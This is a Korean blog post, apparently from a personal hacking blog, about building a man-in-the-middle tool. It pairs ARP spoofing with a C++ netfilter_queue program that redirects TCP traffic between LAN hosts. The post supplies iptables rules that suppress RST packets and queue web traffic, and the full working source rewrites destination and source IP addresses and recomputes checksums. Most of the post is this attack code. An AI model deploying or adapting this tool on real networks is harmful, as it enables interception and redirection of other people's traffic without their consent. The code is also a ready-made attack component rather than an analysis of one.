현재 개인 프로젝트를 하고 있는데 ARP Spoofing과 netfilter_queue를 이용하여 MITM을 걸 수 있도록 Tool을 개발하고 있습니다.
ARP Spoofing Tools에 대한 내용은 아래의 포스팅을 참고해주시기 바랍니다.
ARP Spoofing Tool(Python Scapy)과는 다르게 IP Spoofing 기능은 netfilter_queue를 이용하여 개발을 하였는데, Python Scapy는 Queue를 이용하여 Network Packet을 핸들링 하는 게 아니라 복사하여 사용하는 방식이다보니 편하게 Network Packet을 핸들링할 수 있는 netfilter_queue를 사용하게 되었습니다.
iptables를 잘 쓸 수 있다면 python의 scapy를 이용해서도 충분히 가능할 것 같은데.. 저한테는 너무 어려운 일이었습니다...
C++를 이용한 IP Spoofing 구현
netfilter에 대한 설명이 궁금하신 분들은 아래의 포스팅을 참고해주시기 바랍니다.
사전에 필요한 작업
1. netfilter 설치
2. IPTABLES 설정
※ 해당 iptables 명령어는 특정 IP로 RST 패킷을 날리지 못하도록 하고 80, 443으로 연결을 시도하는 Packet과 특정 IP에서 전달되는 Packet을 Netfilter_queue로 전달하는 역할을 함
$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.45.87 -j DROP
$ sudo iptables -A OUTPUT -p tcp --dport 80 -j NFQUEUE
$ sudo iptables -A OUTPUT -p tcp --dport 443 -j NFQUEUE
$ sudo iptables -A INPUT -p tcp -s 192.168.45.116 -j NFQUEUE
간략 코드 흐름 설명
1. nfq_create_queue 함수에서 3번째 인자로 전달한 callback 함수가 nfq_handle_packet 함수가 실행될 때 Callback 함수로써 같이 실행됩니다.
extern "C"
{
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <libnetfilter_queue/pktbuff.h>
#include <libnetfilter_queue/libnetfilter_queue_ipv4.h>
#include <libnetfilter_queue/libnetfilter_queue_tcp.h>
}
static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data){
...
}
int main(int argc, char **argv){
// Intercept Packet
qh = nfq_create_queue(h, 0, &callback, NULL);
...
for (;;) {
if ((rv = recv(fd, buf, sizeof(buf), 0)) >= 0) {
// Packet Handling
nfq_handle_packet(h, buf, rv);
continue;
}
2. callback 함수는 Destination IP가 "192.168.45.222"일 때 "192.168.45.116"으로 변경한 뒤 전송하는 역할과 Source IP가 "192.168.45.116"일 때 "192.168.45.222"로 변경한 뒤 전송하는 역할을 하고 있습니다.
static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data){
...
// Packet Filtering
// ntohs, ntohl is Big Endian-> Little Endian, htons, htonl is Little Endian -> Big Endian
if(ip->protocol == IPPROTO_TCP && htonl(ip->daddr)==0xc0a82dde){
// ip->daddr is Destination IP, Spoofing IP
// 0x742da8c0 is 192.168.45.116
ip->daddr = 0x742da8c0;
// Calculate ip Checksum
ip->check = 0;
ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
nfq_tcp_compute_checksum_ipv4(tcp, ip);
return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
}
else if(ip->protocol == IPPROTO_TCP && htonl(ip->saddr)==0xc0a82d74){
// 0x742da8c0 is 192.168.45.116, Need to Change Spoofing IP to Original Source IP
ip->saddr = 0xde2da8c0;
// Calculate ip Checksum
ip->check = 0;
ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
nfq_tcp_compute_checksum_ipv4(tcp, ip);
return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
}
}
전체 코드
#include <cstdio>
#include <cerrno>
#include <stdexcept>
#include <cstring>
#include <memory>
#include <functional>
#include <array>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <linux/netfilter.h>
extern "C"
{
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <libnetfilter_queue/pktbuff.h>
#include <libnetfilter_queue/libnetfilter_queue_ipv4.h>
#include <libnetfilter_queue/libnetfilter_queue_tcp.h>
}
#define THROW_IF_TRUE(x, m) do { if((x)) { throw std::runtime_error(m); }} while(false)
#define CONCAT_0(pre, post) pre ## post
#define CONCAT_1(pre, post) CONCAT_0(pre, post)
#define GENERATE_IDENTIFICATOR(pre) CONCAT_1(pre, __LINE__)
using ScopedGuard = std::unique_ptr<void, std::function<void(void *)>>;
#define SCOPED_GUARD_NAMED(name, code) ScopedGuard name(reinterpret_cast<void *>(-1), [&](void *) -> void {code}); (void)name
#define SCOPED_GUARD(code) SCOPED_GUARD_NAMED(GENERATE_IDENTIFICATOR(genScopedGuard), code)
static unsigned short compute_checksum(unsigned short *addr, unsigned int count) {
register unsigned long sum = 0;
while (count > 1) {
sum += * addr++;
count -= 2;
}
//if any bytes left, pad the bytes and add
if(count > 0) {
sum += ((*addr)&htons(0xFF00));
}
//Fold sum to 16 bits: add carrier to result
while (sum>>16) {
sum = (sum & 0xffff) + (sum >> 16);
}
//one's complement
sum = ~sum;
return ((unsigned short)sum);
}
static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg,
struct nfq_data *nfad, void *data)
{
struct nfqnl_msg_packet_hdr *ph = nfq_get_msg_packet_hdr(nfad);
THROW_IF_TRUE(ph == nullptr, "Issue while packet header");
unsigned char *rawData = nullptr;
int len = nfq_get_payload(nfad, &rawData);
THROW_IF_TRUE(len < 0, "Can\'t get payload data");
struct pkt_buff * pkBuff = pktb_alloc(AF_INET, rawData, len, 0x1000);
THROW_IF_TRUE(pkBuff == nullptr, "Issue while pktb allocate");
SCOPED_GUARD( pktb_free(pkBuff); ); // Don't forget to clean up
struct iphdr *ip = nfq_ip_get_hdr(pkBuff);
THROW_IF_TRUE(ip == nullptr, "Issue while ipv4 header parse.");
THROW_IF_TRUE(nfq_ip_set_transport_header(pkBuff, ip) < 0, "Can\'t set transport header.");
// Packet Filtering
// ntohs, ntohl is Big Endian-> Little Endian, htons, htonl is Little Endian -> Big Endian
if(ip->protocol == IPPROTO_TCP && htonl(ip->daddr)==0xc0a82dde){
struct tcphdr *tcp = nfq_tcp_get_hdr(pkBuff);
THROW_IF_TRUE(tcp == nullptr, "Issue while tcp header.");
// ip->daddr is Destination IP, Spoofing IP
// 0x742da8c0 is 192.168.45.116
ip->daddr = 0x742da8c0;
// Calculate ip Checksum
ip->check = 0;
ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
nfq_tcp_compute_checksum_ipv4(tcp, ip);
return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
}
else if(ip->protocol == IPPROTO_TCP && htonl(ip->saddr)==0xc0a82d74){
struct tcphdr *tcp = nfq_tcp_get_hdr(pkBuff);
THROW_IF_TRUE(tcp == nullptr, "Issue while tcp header.");
// 0x742da8c0 is 192.168.45.116, Need to Change Spoofing IP to Original Source IP
ip->saddr = 0xde2da8c0;
// Calculate ip Checksum
ip->check = 0;
ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
nfq_tcp_compute_checksum_ipv4(tcp, ip);
return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
}
return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, 0, NULL);
}
int main(int argc, char **argv)
{
struct nfq_handle *h;
struct nfq_q_handle *qh;
struct nfnl_handle *nh;
int fd;
int rv;
char buf[4096] __attribute__ ((aligned));
h = nfq_open();
if (!h) {
fprintf(stderr, "error during nfq_open()\n");
exit(1);
}
if (nfq_unbind_pf(h, AF_INET) < 0) {
fprintf(stderr, "error during nfq_unbind_pf()\n");
exit(1);
}
if (nfq_bind_pf(h, AF_INET) < 0) {
fprintf(stderr, "error during nfq_bind_pf()\n");
exit(1);
}
// Intercept Packet
qh = nfq_create_queue(h, 0, &callback, NULL);
if (!qh) {
fprintf(stderr, "error during nfq_create_queue()\n");
exit(1);
}
// NFQNL_COPY_PACKET is "copy entire packet"
if (nfq_set_mode(qh, NFQNL_COPY_PACKET, 0xffff) < 0) {
fprintf(stderr, "can't set packet_copy mode\n");
exit(1);
}
fd = nfq_fd(h);
for (;;) {
if ((rv = recv(fd, buf, sizeof(buf), 0)) >= 0) {
nfq_handle_packet(h, buf, rv);
continue;
}
/* if your application is too slow to digest the packets that
* are sent from kernel-space, the socket buffer that we use
* to enqueue packets may fill up returning ENOBUFS. Depending
* on your application, this error may be ignored. Please, see
* the doxygen documentation of this library on how to improve
* this situation.
*/
if (rv < 0 && errno == ENOBUFS) {
printf("losing packets!\n");
continue;
}
perror("recv failed");
break;
}
nfq_destroy_queue(qh);
#ifdef INSANE
/* normally, applications SHOULD NOT issue this command, since
* it detaches other programs/sockets from AF_INET, too ! */
printf("unbinding from AF_INET\n");
nfq_unbind_pf(h, AF_INET);
#endif
printf("closing library handle\n");
nfq_close(h);
exit(0);
}
실행 화면
'Hack > Network' 카테고리의 다른 글
11월 1일 Releases 될 OpenSSL 취약점 정보 (0) | 2022.10.30 |
---|---|
[Netfilter] MITM Tool With netfilter_queue (0) | 2022.08.28 |
[Netfilter] netfilter_queue 사용 방법 (0) | 2022.08.28 |
iptables와 netfilter에 대하여 (0) | 2022.08.23 |
[Python Scapy] 3Way Handshake 시 RST를 자동으로 보내는 문제 해결 (0) | 2022.08.23 |
댓글